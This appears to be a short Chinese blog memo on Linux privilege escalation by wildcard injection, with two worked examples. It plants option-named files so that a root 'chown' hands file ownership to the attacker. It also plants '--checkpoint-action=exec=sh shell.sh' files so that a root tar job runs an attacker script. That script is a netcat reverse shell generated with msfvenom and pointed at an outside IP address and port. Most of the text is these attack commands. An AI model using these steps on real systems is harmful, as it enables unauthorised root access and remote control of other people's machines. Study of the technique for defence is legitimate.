参考Freebuf上的提权文章(利用通配符进行Linux本地提权):
http://www.freebuf.com/articles/system/176255.html
以两个例子的形式进行记录,作为备忘:
0x01 Chown的--reference特性
存在三个用户:root、yunsle和test,假设这样一个场景,root用户要将/home/test下所有的文件所有者设置为test,那么yunsle如何通过root的这样一个操作,达到攻击目的呢?
文件中目前内容如下:
攻击者yunsle在/home/test下创建两个文件,如下:
echo "">yunsle
echo > --reference=yunsle
此时root用户在当前目录下执行将所有文件拥有者设置为test的chown命令:
chown -R test:test *
虽然命令执行出现了报错,但是再查看文件,发现拥有者并没有修改为test,而是yunsle:
0x02 tar的命令执行:--checkpoint-action&--checkpoint
存在两个用户:root、yunsle,其中yunsle是非root组的攻击者,需要想办法提升权限,可以使用tar命令进行利用。
如果在cron计划中,root用户存在计划执行并且使用到了tar命令,或者攻击者提前知道root会对某个人文件执行tar,可以形成攻击场景。
攻击者首先自己可以生成一个反弹shell,如使用msfvenom:
msfvenom -p cmd/unix/reverse_netcat lhost=47.94.37.40 lport=7777 R
并且在接收机上监听7777端口:
将反弹shell内容在目标机上,写入shell.sh文件:
接下来再创建两个文件:
echo > "--checkpoint-action=exec=sh shell.sh"
echo > --checkpoint=1
此时,root对当前目录执行类似如下的tar操作:
tar -zcf bak.tgz /home/test/*
已经成功以root身份执行shell.sh,并且将shell反弹至攻击者服务器: